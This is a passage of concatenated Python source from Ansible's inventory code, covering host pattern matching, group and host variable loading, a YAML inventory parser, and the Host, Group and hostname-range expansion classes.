    def split_host_pattern(cls, pattern):
        """
        Takes a string containing host patterns separated by commas (or a list
        thereof) and returns a list of single patterns (which may not contain
        commas). Whitespace is ignored.

        Also accepts ':' as a separator for backwards compatibility, but it is
        not recommended due to the conflict with IPv6 addresses and host ranges.

        Example: 'a,b[1], c[2:3] , d' -> ['a', 'b[1]', 'c[2:3]', 'd']
        """

        if isinstance(pattern, list):
            return list(itertools.chain(*map(cls.split_host_pattern, pattern)))

        if ';' in pattern:
            patterns = re.split('\s*;\s*', pattern)
            display.deprecated("Use ',' or ':' instead of ';' to separate host patterns")

        # If it's got commas in it, we'll treat it as a straightforward
        # comma-separated list of patterns.

        elif ',' in pattern:
            patterns = re.split('\s*,\s*', pattern)

        # If it doesn't, it could still be a single pattern. This accounts for
        # non-separator uses of colons: IPv6 addresses and [x:y] host ranges.
        else:
            try:
                (base, port) = parse_address(pattern, allow_ranges=True)
                patterns = [pattern]
            except:
                # The only other case we accept is a ':'-separated list of patterns.
                # This mishandles IPv6 addresses, and is retained only for backwards
                # compatibility.
                patterns = re.findall(
                    r'''(?:             # We want to match something comprising:
                            [^\s:\[\]]  # (anything other than whitespace or ':[]'
                            |           # ...or...
                            \[[^\]]*\]  # a single complete bracketed expression)
                        )+              # occurring once or more
                    ''', pattern, re.X
                )

        return [p.strip() for p in patterns]

    @classmethod
    def order_patterns(cls, patterns):

        # Host specifiers should be sorted to ensure consistent behavior
        pattern_regular = []
        pattern_intersection = []
        pattern_exclude = []
        for p in patterns:
            if p.startswith("!"):
                pattern_exclude.append(p)
            elif p.startswith("&"):
                pattern_intersection.append(p)
            elif p:
                pattern_regular.append(p)

        # if no regular pattern was given, hence only exclude and/or intersection
        # make that magically work
        if pattern_regular == []:
            pattern_regular = ['all']

        # when applying the host selectors, run those without the "&" or "!"
        # first, then the &s, then the !s.
        return pattern_regular + pattern_intersection + pattern_exclude

    def _evaluate_patterns(self, patterns):
        """
        Takes a list of patterns and returns a list of matching host names,
        taking into account any negative and intersection patterns.
        """

        patterns = Inventory.order_patterns(patterns)
        hosts = []

        for p in patterns:
            # avoid resolving a pattern that is a plain host
            if p in self._hosts_cache:
                hosts.append(self.get_host(p))
            else:
                that = self._match_one_pattern(p)
                if p.startswith("!"):
                    hosts = [ h for h in hosts if h not in that ]
                elif p.startswith("&"):
                    hosts = [ h for h in hosts if h in that ]
                else:
                    to_append = [ h for h in that if h.name not in [ y.name for y in hosts ] ]
                    hosts.extend(to_append)
        return hosts

    def _match_one_pattern(self, pattern):
        """ 
        Takes a single pattern and returns a list of matching host names.
        Ignores intersection (&) and exclusion (!) specifiers.

        The pattern may be:

            1. A regex starting with ~, e.g. '~[abc]*'
            2. A shell glob pattern with ?/*/[chars]/[!chars], e.g. 'foo*'
            3. An ordinary word that matches itself only, e.g. 'foo'

        The pattern is matched using the following rules:

            1. If it's 'all', it matches all hosts in all groups.
            2. Otherwise, for each known group name:
                (a) if it matches the group name, the results include all hosts
                    in the group or any of its children.
                (b) otherwise, if it matches any hosts in the group, the results
                    include the matching hosts.

        This means that 'foo*' may match one or more groups (thus including all
        hosts therein) but also hosts in other groups.

        The built-in groups 'all' and 'ungrouped' are special. No pattern can
        match these group names (though 'all' behaves as though it matches, as
        described above). The word 'ungrouped' can match a host of that name,
        and patterns like 'ungr*' and 'al*' can match either hosts or groups
        other than all and ungrouped.

        If the pattern matches one or more group names according to these rules,
        it may have an optional range suffix to select a subset of the results.
        This is allowed only if the pattern is not a regex, i.e. '~foo[1]' does
        not work (the [1] is interpreted as part of the regex), but 'foo*[1]'
        would work if 'foo*' matched the name of one or more groups.

        Duplicate matches are always eliminated from the results.
        """

        if pattern.startswith("&") or pattern.startswith("!"):
            pattern = pattern[1:]

        if pattern not in self._pattern_cache:
            (expr, slice) = self._split_subscript(pattern)
            hosts = self._enumerate_matches(expr)
            try:
                hosts = self._apply_subscript(hosts, slice)
            except IndexError:
                raise AnsibleError("No hosts matched the subscripted pattern '%s'" % pattern)
            self._pattern_cache[pattern] = hosts

        return self._pattern_cache[pattern]

    def _split_subscript(self, pattern):
        """
        Takes a pattern, checks if it has a subscript, and returns the pattern
        without the subscript and a (start,end) tuple representing the given
        subscript (or None if there is no subscript).

        Validates that the subscript is in the right syntax, but doesn't make
        sure the actual indices make sense in context.
        """

        # Do not parse regexes for enumeration info
        if pattern.startswith('~'):
            return (pattern, None)

        # We want a pattern followed by an integer or range subscript.
        # (We can't be more restrictive about the expression because the
        # fnmatch semantics permit [\[:\]] to occur.)

        pattern_with_subscript = re.compile(
            r'''^
                (.+)                    # A pattern expression ending with...
                \[(?:                   # A [subscript] expression comprising:
                    (-?[0-9]+)|         # A single positive or negative number
                    ([0-9]+)([:-])      # Or an x:y or x: range.
                    ([0-9]*)
                )\]
                $
            ''', re.X
        )

        subscript = None
        m = pattern_with_subscript.match(pattern)
        if m:
            (pattern, idx, start, sep, end) = m.groups()
            if idx:
                subscript = (int(idx), None)
            else:
                if not end:
                    end = -1
                subscript = (int(start), int(end))
                if sep == '-':
                    display.warning("Use [x:y] inclusive subscripts instead of [x-y] which has been removed")

        return (pattern, subscript)

    def _apply_subscript(self, hosts, subscript):
        """
        Takes a list of hosts and a (start,end) tuple and returns the subset of
        hosts based on the subscript (which may be None to return all hosts).
        """ 

        if not hosts or not subscript:
            return hosts

        (start, end) = subscript

        if end:
            if end == -1:
                end = len(hosts)-1
            return hosts[start:end+1]
        else:
            return [ hosts[start] ]

    def _enumerate_matches(self, pattern):
        """
        Returns a list of host names matching the given pattern according to the
        rules explained above in _match_one_pattern.
        """

        results = []
        hostnames = set()

        def __append_host_to_results(host):
            if host.name not in hostnames:
                hostnames.add(host.name)
                results.append(host)

        groups = self.get_groups()
        for group in groups.values():
            if pattern == 'all':
                for host in group.get_hosts():
                    if host.implicit:
                        continue
                    __append_host_to_results(host)
            else:
                if self._match(group.name, pattern) and group.name not in ('all', 'ungrouped'):
                    for host in group.get_hosts():
                        if host.implicit:
                            continue
                        __append_host_to_results(host)
                else:
                    matching_hosts = self._match_list(group.get_hosts(), 'name', pattern)
                    for host in matching_hosts:
                        __append_host_to_results(host)

        if pattern in C.LOCALHOST and len(results) == 0:
            new_host = self._create_implicit_localhost(pattern)
            results.append(new_host)
        return results

    def _create_implicit_localhost(self, pattern):

        if self.localhost:
            new_host = self.localhost
        else:
            new_host = Host(pattern)
            new_host.address = "127.0.0.1"
            new_host.implicit = True
            new_host.vars = self.get_host_vars(new_host)
            new_host.set_variable("ansible_connection", "local")
            if "ansible_python_interpreter" not in new_host.vars:
                py_interp = sys.executable
                if not py_interp:
                    # sys.executable is not set in some cornercases.  #13585
                    display.warning('Unable to determine python interpreter from sys.executable. Using /usr/bin/python default. You can correct this by setting ansible_python_interpreter for localhost')
                    py_interp = '/usr/bin/python'
                new_host.set_variable("ansible_python_interpreter", py_interp)
            self.get_group("ungrouped").add_host(new_host)
            self.localhost = new_host
        return new_host

    def clear_pattern_cache(self):
        ''' called exclusively by the add_host plugin to allow patterns to be recalculated '''
        global HOSTS_PATTERNS_CACHE
        HOSTS_PATTERNS_CACHE = {}
        self._pattern_cache = {}

    def groups_for_host(self, host):
        if host in self._hosts_cache:
            return self._hosts_cache[host].get_groups()
        else:
            return []

    def get_groups(self):
        return self.groups

    def get_host(self, hostname):
        if hostname not in self._hosts_cache:
            self._hosts_cache[hostname] = self._get_host(hostname)
        return self._hosts_cache[hostname]

    def _get_host(self, hostname):
        matching_host = None
        if hostname in C.LOCALHOST:
            if self.localhost:
                matching_host= self.localhost
            else:
                for host in self.get_group('all').get_hosts():
                    if host.name in C.LOCALHOST:
                        matching_host = host
                        break
                if not matching_host:
                    matching_host = self._create_implicit_localhost(hostname)
                # update caches
                self._hosts_cache[hostname] = matching_host
                for host in C.LOCALHOST.difference((hostname,)):
                    self._hosts_cache[host] = self._hosts_cache[hostname]
        else:
            for group in self.groups.values():
                for host in group.get_hosts():
                    if host not in self._hosts_cache:
                        self._hosts_cache[host.name] = host
                    if hostname == host.name:
                        matching_host = host
        return matching_host

    def get_group(self, groupname):
        return self.groups.get(groupname)

    def get_group_variables(self, groupname, update_cached=False, vault_password=None):
        if groupname not in self._vars_per_group or update_cached:
            self._vars_per_group[groupname] = self._get_group_variables(groupname, vault_password=vault_password)
        return self._vars_per_group[groupname]

    def _get_group_variables(self, groupname, vault_password=None):

        group = self.get_group(groupname)
        if group is None:
            raise Exception("group not found: %s" % groupname)

        vars = {}

        # plugin.get_group_vars retrieves just vars for specific group
        vars_results = [ plugin.get_group_vars(group, vault_password=vault_password) for plugin in self._vars_plugins if hasattr(plugin, 'get_group_vars')]
        for updated in vars_results:
            if updated is not None:
                vars = combine_vars(vars, updated)

        # Read group_vars/ files
        vars = combine_vars(vars, self.get_group_vars(group))

        return vars

    def get_vars(self, hostname, update_cached=False, vault_password=None):

        host = self.get_host(hostname)
        if not host:
            raise AnsibleError("no vars as host is not in inventory: %s" % hostname)
        return host.get_vars()

    def get_host_variables(self, hostname, update_cached=False, vault_password=None):

        if hostname not in self._vars_per_host or update_cached:
            self._vars_per_host[hostname] = self._get_host_variables(hostname, vault_password=vault_password)
        return self._vars_per_host[hostname]

    def _get_host_variables(self, hostname, vault_password=None):

        host = self.get_host(hostname)
        if host is None:
            raise AnsibleError("no host vars as host is not in inventory: %s" % hostname)

        vars = {}

        # plugin.run retrieves all vars (also from groups) for host
        vars_results = [ plugin.run(host, vault_password=vault_password) for plugin in self._vars_plugins if hasattr(plugin, 'run')]
        for updated in vars_results:
            if updated is not None:
                vars = combine_vars(vars, updated)

        # plugin.get_host_vars retrieves just vars for specific host
        vars_results = [ plugin.get_host_vars(host, vault_password=vault_password) for plugin in self._vars_plugins if hasattr(plugin, 'get_host_vars')]
        for updated in vars_results:
            if updated is not None:
                vars = combine_vars(vars, updated)

        # still need to check InventoryParser per host vars
        # which actually means InventoryScript per host,
        # which is not performant
        if self.parser is not None:
            vars = combine_vars(vars, self.parser.get_host_variables(host))

        return vars

    def add_group(self, group):
        if group.name not in self.groups:
            self.groups[group.name] = group
        else:
            raise AnsibleError("group already in inventory: %s" % group.name)

    def list_hosts(self, pattern="all"):

        """ return a list of hostnames for a pattern """

        result = [ h for h in self.get_hosts(pattern) ]
        if len(result) == 0 and pattern in C.LOCALHOST:
            result = [pattern]
        return result

    def list_groups(self):
        return sorted(self.groups.keys(), key=lambda x: x)

    def restrict_to_hosts(self, restriction):
        """ 
        Restrict list operations to the hosts given in restriction.  This is used
        to batch serial operations in main playbook code, don't use this for other
        reasons.
        """
        if restriction is None:
            return
        elif not isinstance(restriction, list):
            restriction = [ restriction ]
        self._restriction = [ h.name for h in restriction ]

    def subset(self, subset_pattern):
        """ 
        Limits inventory results to a subset of inventory that matches a given
        pattern, such as to select a given geographic of numeric slice amongst
        a previous 'hosts' selection that only select roles, or vice versa.  
        Corresponds to --limit parameter to ansible-playbook
        """        
        if subset_pattern is None:
            self._subset = None
        else:
            subset_patterns = Inventory.split_host_pattern(subset_pattern)
            results = []
            # allow Unix style @filename data
            for x in subset_patterns:
                if x.startswith("@"):
                    fd = open(x[1:])
                    results.extend(fd.read().split("\n"))
                    fd.close()
                else:
                    results.append(x)
            self._subset = results

    def remove_restriction(self):
        """ Do not restrict list operations """
        self._restriction = None

    def is_file(self):
        """
        Did inventory come from a file? We don't use the equivalent loader
        methods in inventory, due to the fact that the loader does an implict
        DWIM on the path, which may be incorrect for inventory paths relative
        to the playbook basedir.
        """
        if not isinstance(self.host_list, string_types):
            return False
        return os.path.isfile(self.host_list) or self.host_list == os.devnull

    def is_directory(self, path):
        """
        Is the inventory host list a directory? Same caveat for here as with
        the is_file() method above.
        """
        if not isinstance(self.host_list, string_types):
            return False
        return os.path.isdir(path)

    def basedir(self):
        """ if inventory came from a file, what's the directory? """
        dname = self.host_list
        if self.is_directory(self.host_list):
            dname = self.host_list
        elif not self.is_file():
            dname = None
        else:
            dname = os.path.dirname(self.host_list)
            if dname is None or dname == '' or dname == '.':
                dname = os.getcwd()
        if dname:
            dname = os.path.abspath(dname)
        return dname

    def src(self):
        """ if inventory came from a file, what's the directory and file name? """
        if not self.is_file():
            return None
        return self.host_list

    def playbook_basedir(self):
        """ returns the directory of the current playbook """
        return self._playbook_basedir

    def set_playbook_basedir(self, dir_name):
        """
        sets the base directory of the playbook so inventory can use it as a
        basedir for host_ and group_vars, and other things.
        """
        # Only update things if dir is a different playbook basedir
        if dir_name != self._playbook_basedir:
            # we're changing the playbook basedir, so if we had set one previously
            # clear the host/group vars entries from the VariableManager so they're
            # not incorrectly used by playbooks from different directories
            if self._playbook_basedir:
                self._variable_manager.clear_playbook_hostgroup_vars_files(self._playbook_basedir)

            self._playbook_basedir = dir_name
            # get group vars from group_vars/ files
            # TODO: excluding the new_pb_basedir directory may result in group_vars
            #       files loading more than they should, however with the file caching
            #       we do this shouldn't be too much of an issue. Still, this should
            #       be fixed at some point to allow a "first load" to touch all of the
            #       directories, then later runs only touch the new basedir specified
            found_group_vars = self._find_group_vars_files(self._playbook_basedir)
            if found_group_vars:
                self._group_vars_files = self._group_vars_files.union(found_group_vars)
                for group in self.groups.values():
                    self.get_group_vars(group)

            found_host_vars = self._find_host_vars_files(self._playbook_basedir)
            if found_host_vars:
                self._host_vars_files = self._host_vars_files.union(found_host_vars)
                # get host vars from host_vars/ files
                for host in self.get_hosts():
                    self.get_host_vars(host)
            # invalidate cache
            self._vars_per_host = {}
            self._vars_per_group = {}

    def get_host_vars(self, host, new_pb_basedir=False, return_results=False):
        """ Read host_vars/ files """
        return self._get_hostgroup_vars(host=host, group=None, new_pb_basedir=new_pb_basedir, return_results=return_results)

    def get_group_vars(self, group, new_pb_basedir=False, return_results=False):
        """ Read group_vars/ files """
        return self._get_hostgroup_vars(host=None, group=group, new_pb_basedir=new_pb_basedir, return_results=return_results)

    def _find_group_vars_files(self, basedir):
        """ Find group_vars/ files """
        if basedir in ('', None):
            basedir = './'
        path = os.path.realpath(os.path.join(basedir, 'group_vars'))
        found_vars = set()
        if os.path.exists(path):
            found_vars = set(os.listdir(to_unicode(path)))
        return found_vars

    def _find_host_vars_files(self, basedir):
        """ Find host_vars/ files """
        if basedir in ('', None):
            basedir = './'
        path = os.path.realpath(os.path.join(basedir, 'host_vars'))
        found_vars = set()
        if os.path.exists(path):
            found_vars = set(os.listdir(to_unicode(path)))
        return found_vars

    def _get_hostgroup_vars(self, host=None, group=None, new_pb_basedir=False, return_results=False):
        """
        Loads variables from group_vars/<groupname> and host_vars/<hostname> in directories parallel
        to the inventory base directory or in the same directory as the playbook.  Variables in the playbook
        dir will win over the inventory dir if files are in both.
        """

        results = {}
        scan_pass = 0
        _basedir = self._basedir
        _playbook_basedir = self._playbook_basedir

        # look in both the inventory base directory and the playbook base directory
        # unless we do an update for a new playbook base dir
        if not new_pb_basedir and _playbook_basedir:
            basedirs = [_basedir, _playbook_basedir]
        else:
            basedirs = [_basedir]

        for basedir in basedirs:
            # this can happen from particular API usages, particularly if not run
            # from /usr/bin/ansible-playbook
            if basedir in ('', None):
                basedir = './'

            scan_pass = scan_pass + 1

            # it's not an eror if the directory does not exist, keep moving
            if not os.path.exists(basedir):
                continue

            # save work of second scan if the directories are the same
            if _basedir == _playbook_basedir and scan_pass != 1:
                continue

            # Before trying to load vars from file, check that the directory contains relvant file names
            if host is None and any(map(lambda ext: group.name + ext in self._group_vars_files, C.YAML_FILENAME_EXTENSIONS)):
                # load vars in dir/group_vars/name_of_group
                base_path = to_unicode(os.path.abspath(os.path.join(to_bytes(basedir), b"group_vars/" + to_bytes(group.name))), errors='strict')
                host_results = self._variable_manager.add_group_vars_file(base_path, self._loader)
                if return_results:
                    results = combine_vars(results, host_results)
            elif group is None and any(map(lambda ext: host.name + ext in self._host_vars_files, C.YAML_FILENAME_EXTENSIONS)):
                # same for hostvars in dir/host_vars/name_of_host
                base_path = to_unicode(os.path.abspath(os.path.join(to_bytes(basedir), b"host_vars/" + to_bytes(host.name))), errors='strict')
                group_results = self._variable_manager.add_host_vars_file(base_path, self._loader)
                if return_results:
                    results = combine_vars(results, group_results)

        # all done, results is a dictionary of variables for this particular host.
        return results

    def refresh_inventory(self):

        self.clear_pattern_cache()

        self._hosts_cache    = {}
        self._vars_per_host  = {}
        self._vars_per_group = {}
        self.groups          = {}

        self.parse_inventory(self.host_list)






# Copyright 2016 RedHat, inc
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

#############################################
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import re

from ansible import constants as C
from ansible.inventory.host import Host
from ansible.inventory.group import Group
from ansible.inventory.expand_hosts import detect_range
from ansible.inventory.expand_hosts import expand_hostname_range
from ansible.parsing.utils.addresses import parse_address
from ansible.compat.six import string_types

class InventoryParser(object):
    """
    Takes an INI-format inventory file and builds a list of groups and subgroups
    with their associated hosts and variable settings.
    """

    def __init__(self, loader, groups, filename=C.DEFAULT_HOST_LIST):
        self._loader = loader
        self.filename = filename

        # Start with an empty host list and whatever groups we're passed in
        # (which should include the default 'all' and 'ungrouped' groups).

        self.hosts = {}
        self.patterns = {}
        self.groups = groups

        # Read in the hosts, groups, and variables defined in the
        # inventory file.
        data = loader.load_from_file(filename)

        self._parse(data)

    def _parse(self, data):
        '''
        Populates self.groups from the given array of lines. Raises an error on
        any parse failure.
        '''

        self._compile_patterns()

        # We expect top level keys to correspond to groups, iterate over them
        # to get host, vars and subgroups (which we iterate over recursivelly)
        for group_name in data.keys():
            self._parse_groups(group_name, data[group_name])

        # Finally, add all top-level groups as children of 'all'.
        # We exclude ungrouped here because it was already added as a child of
        # 'all' at the time it was created.
        for group in self.groups.values():
            if group.depth == 0 and group.name not in ('all', 'ungrouped'):
                self.groups['all'].add_child_group(Group(group_name))

    def _parse_groups(self, group, group_data):

        if group not in self.groups:
            self.groups[group] = Group(name=group)

        if isinstance(group_data, dict):
            #make sure they are dicts 
            for section in ['vars', 'children', 'hosts']:
                if section in group_data and isinstance(group_data[section], string_types):
                    group_data[section] = { group_data[section]: None}

            if 'vars' in group_data:
                for var in group_data['vars']:
                    if var != 'ansible_group_priority':
                        self.groups[group].set_variable(var, group_data['vars'][var])
                    else:
                        self.groups[group].set_priority(group_data['vars'][var])

            if 'children' in group_data:
                for subgroup in group_data['children']:
                    self._parse_groups(subgroup, group_data['children'][subgroup])
                    self.groups[group].add_child_group(self.groups[subgroup])

            if 'hosts' in group_data:
                for host_pattern in group_data['hosts']:
                    hosts = self._parse_host(host_pattern, group_data['hosts'][host_pattern])
                    for h in hosts:
                        self.groups[group].add_host(h)


    def _parse_host(self, host_pattern, host_data):
        '''
        Each host key can be a pattern, try to process it and add variables as needed
        '''
        (hostnames, port) = self._expand_hostpattern(host_pattern)
        hosts = self._Hosts(hostnames, port)

        if isinstance(host_data, dict):
            for k in host_data:
                for h in hosts:
                    h.set_variable(k, host_data[k])
                    if k in ['ansible_host', 'ansible_ssh_host']:
                        h.address = host_data[k]
        return hosts

    def _expand_hostpattern(self, hostpattern):
        '''
        Takes a single host pattern and returns a list of hostnames and an
        optional port number that applies to all of them.
        '''

        # Can the given hostpattern be parsed as a host with an optional port
        # specification?

        try:
            (pattern, port) = parse_address(hostpattern, allow_ranges=True)
        except:
            # not a recognizable host pattern
            pattern = hostpattern
            port = None

        # Once we have separated the pattern, we expand it into list of one or
        # more hostnames, depending on whether it contains any [x:y] ranges.

        if detect_range(pattern):
            hostnames = expand_hostname_range(pattern)
        else:
            hostnames = [pattern]

        return (hostnames, port)

    def _Hosts(self, hostnames, port):
        '''
        Takes a list of hostnames and a port (which may be None) and returns a
        list of Hosts (without recreating anything in self.hosts).
        '''

        hosts = []

        # Note that we decide whether or not to create a Host based solely on
        # the (non-)existence of its hostname in self.hosts. This means that one
        # cannot add both "foo:22" and "foo:23" to the inventory.

        for hn in hostnames:
            if hn not in self.hosts:
                self.hosts[hn] = Host(name=hn, port=port)
            hosts.append(self.hosts[hn])

        return hosts

    def get_host_variables(self, host):
        return {}

    def _compile_patterns(self):
        '''
        Compiles the regular expressions required to parse the inventory and stores them in self.patterns.
        '''
        self.patterns['groupname'] = re.compile( r'''^[A-Za-z_][A-Za-z0-9_]*$''')






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import uuid

from ansible.inventory.group import Group
from ansible.utils.vars import combine_vars

__all__ = ['Host']

class Host:
    ''' a single ansible host '''

    #__slots__ = [ 'name', 'vars', 'groups' ]

    def __getstate__(self):
        return self.serialize()

    def __setstate__(self, data):
        return self.deserialize(data)

    def __eq__(self, other):
        if not isinstance(other, Host):
            return False
        return self._uuid == other._uuid

    def __ne__(self, other):
        return not self.__eq__(other)

    def __hash__(self):
        return hash(self.name)

    def serialize(self):
        groups = []
        for group in self.groups:
            groups.append(group.serialize())

        return dict(
            name=self.name,
            vars=self.vars.copy(),
            address=self.address,
            uuid=self._uuid,
            gathered_facts=self._gathered_facts,
            groups=groups,
            implicit=self.implicit,
        )

    def deserialize(self, data):
        self.__init__(gen_uuid=False)

        self.name    = data.get('name')
        self.vars    = data.get('vars', dict())
        self.address = data.get('address', '')
        self._uuid   = data.get('uuid', None)
        self.implicit= data.get('implicit', False)

        groups = data.get('groups', [])
        for group_data in groups:
            g = Group()
            g.deserialize(group_data)
            self.groups.append(g)

    def __init__(self, name=None, port=None, gen_uuid=True):

        self.name = name
        self.vars = {}
        self.groups = []

        self.address = name

        if port:
            self.set_variable('ansible_port', int(port))

        self._gathered_facts = False
        self._uuid = None
        if gen_uuid:
            self._uuid = uuid.uuid4()
        self.implicit = False

    def __repr__(self):
        return self.get_name()

    def get_name(self):
        return self.name

    @property
    def gathered_facts(self):
        return self._gathered_facts

    def set_gathered_facts(self, gathered):
        self._gathered_facts = gathered

    def add_group(self, group):

        self.groups.append(group)

    def set_variable(self, key, value):

        self.vars[key]=value

    def get_groups(self):

        groups = {}
        for g in self.groups:
            groups[g.name] = g
            ancestors = g.get_ancestors()
            for a in ancestors:
                groups[a.name] = a
        return groups.values()

    def get_vars(self):

        results = {}
        results = combine_vars(results, self.vars)
        results['inventory_hostname'] = self.name
        results['inventory_hostname_short'] = self.name.split('.')[0]
        results['group_names'] = sorted([ g.name for g in self.get_groups() if g.name != 'all'])
        return results

    def get_group_vars(self):
        results = {}
        groups = self.get_groups()
        for group in sorted(groups, key=lambda g: g.depth):
            results = combine_vars(results, group.get_vars())
        return results






# (c) 2012, Zettar Inc.
# Written by Chin Fang <fangchin@zettar.com>
#
# This file is part of Ansible
#
# This module is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This software is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this software.  If not, see <http://www.gnu.org/licenses/>.
#

'''
This module is for enhancing ansible's inventory parsing capability such
that it can deal with hostnames specified using a simple pattern in the
form of [beg:end], example: [1:5], [a:c], [D:G]. If beg is not specified,
it defaults to 0.

If beg is given and is left-zero-padded, e.g. '001', it is taken as a
formatting hint when the range is expanded. e.g. [001:010] is to be
expanded into 001, 002 ...009, 010.

Note that when beg is specified with left zero padding, then the length of
end must be the same as that of beg, else an exception is raised.
'''
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import string

from ansible import errors

def detect_range(line = None):
    '''
    A helper function that checks a given host line to see if it contains
    a range pattern described in the docstring above.

    Returnes True if the given line contains a pattern, else False.
    '''
    if '[' in line:
        return True
    else:
        return False

def expand_hostname_range(line = None):
    '''
    A helper function that expands a given line that contains a pattern
    specified in top docstring, and returns a list that consists of the
    expanded version.

    The '[' and ']' characters are used to maintain the pseudo-code
    appearance. They are replaced in this function with '|' to ease
    string splitting.

    References: http://ansible.github.com/patterns.html#hosts-and-groups
    '''
    all_hosts = []
    if line:
        # A hostname such as db[1:6]-node is considered to consists
        # three parts:
        # head: 'db'
        # nrange: [1:6]; range() is a built-in. Can't use the name
        # tail: '-node'

        # Add support for multiple ranges in a host so:
        # db[01:10:3]node-[01:10]
        # - to do this we split off at the first [...] set, getting the list
        #   of hosts and then repeat until none left.
        # - also add an optional third parameter which contains the step. (Default: 1)
        #   so range can be [01:10:2] -> 01 03 05 07 09

        (head, nrange, tail) = line.replace('[','|',1).replace(']','|',1).split('|')
        bounds = nrange.split(":")
        if len(bounds) != 2 and len(bounds) != 3:
            raise errors.AnsibleError("host range must be begin:end or begin:end:step")
        beg = bounds[0]
        end = bounds[1]
        if len(bounds) == 2:
            step = 1
        else:
            step = bounds[2]
        if not beg:
            beg = "0"
        if not end:
            raise errors.AnsibleError("host range must specify end value")
        if beg[0] == '0' and len(beg) > 1:
            rlen = len(beg) # range length formatting hint
            if rlen != len(end):
                raise errors.AnsibleError("host range must specify equal-length begin and end formats")
            fill = lambda _: str(_).zfill(rlen)  # range sequence
        else:
            fill = str

        try:
            i_beg = string.ascii_letters.index(beg)
            i_end = string.ascii_letters.index(end)
            if i_beg > i_end:
                raise errors.AnsibleError("host range must have begin <= end")
            seq = list(string.ascii_letters[i_beg:i_end+1:int(step)])
        except ValueError:  # not an alpha range
            seq = range(int(beg), int(end)+1, int(step))

        for rseq in seq:
            hname = ''.join((head, fill(rseq), tail))

            if detect_range(hname):
                all_hosts.extend( expand_hostname_range( hname ) )
            else:
                all_hosts.append(hname)

        return all_hosts






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.errors import AnsibleError

class Group:
    ''' a group of ansible hosts '''

    #__slots__ = [ 'name', 'hosts', 'vars', 'child_groups', 'parent_groups', 'depth', '_hosts_cache' ]

    def __init__(self, name=None):

        self.depth = 0
        self.name = name
        self.hosts = []
        self.vars = {}
        self.child_groups = []
        self.parent_groups = []
        self._hosts_cache = None
        self.priority = 1

        #self.clear_hosts_cache()
        #if self.name is None:
        #    raise Exception("group name is required")

    def __repr__(self):
        return self.get_name()

    def __getstate__(self):
        return self.serialize()

    def __setstate__(self, data):
        return self.deserialize(data)

    def serialize(self):
        parent_groups = []
        for parent in self.parent_groups:
            parent_groups.append(parent.serialize())

        result = dict(
            name=self.name,
            vars=self.vars.copy(),
            parent_groups=parent_groups,
            depth=self.depth,
        )

        return result

    def deserialize(self, data):
        self.__init__()
        self.name = data.get('name')
        self.vars = data.get('vars', dict())
        self.depth = data.get('depth', 0)

        parent_groups = data.get('parent_groups', [])
        for parent_data in parent_groups:
            g = Group()
            g.deserialize(parent_data)
            self.parent_groups.append(g)

    def get_name(self):
        return self.name

    def add_child_group(self, group):

        if self == group:
            raise Exception("can't add group to itself")

        # don't add if it's already there
        if not group in self.child_groups:
            self.child_groups.append(group)

            # update the depth of the child
            group.depth = max([self.depth+1, group.depth])

            # update the depth of the grandchildren
            group._check_children_depth()

            # now add self to child's parent_groups list, but only if there
            # isn't already a group with the same name
            if not self.name in [g.name for g in group.parent_groups]:
                group.parent_groups.append(self)

            self.clear_hosts_cache()

    def _check_children_depth(self):

        try:
            for group in self.child_groups:
                group.depth = max([self.depth+1, group.depth])
                group._check_children_depth()
        except RuntimeError:
            raise AnsibleError("The group named '%s' has a recursive dependency loop." % self.name)

    def add_host(self, host):

        self.hosts.append(host)
        host.add_group(self)
        self.clear_hosts_cache()

    def set_variable(self, key, value):

        self.vars[key] = value

    def clear_hosts_cache(self):

        self._hosts_cache = None
        for g in self.parent_groups:
            g.clear_hosts_cache()

    def get_hosts(self):

        if self._hosts_cache is None:
            self._hosts_cache = self._get_hosts()

        return self._hosts_cache

    def _get_hosts(self):

        hosts = []
        seen = {}
        for kid in self.child_groups:
            kid_hosts = kid.get_hosts()
            for kk in kid_hosts:
                if kk not in seen:
                    seen[kk] = 1
                    if self.name == 'all' and kk.implicit:
                        continue
                    hosts.append(kk)
        for mine in self.hosts:
            if mine not in seen:
                seen[mine] = 1
                if self.name == 'all' and mine.implicit:
                    continue
                hosts.append(mine)
        return hosts

    def get_vars(self):
        return self.vars.copy()

    def _get_ancestors(self):

        results = {}
        for g in self.parent_groups:
            results[g.name] = g
            results.update(g._get_ancestors())
        return results

    def get_ancestors(self):

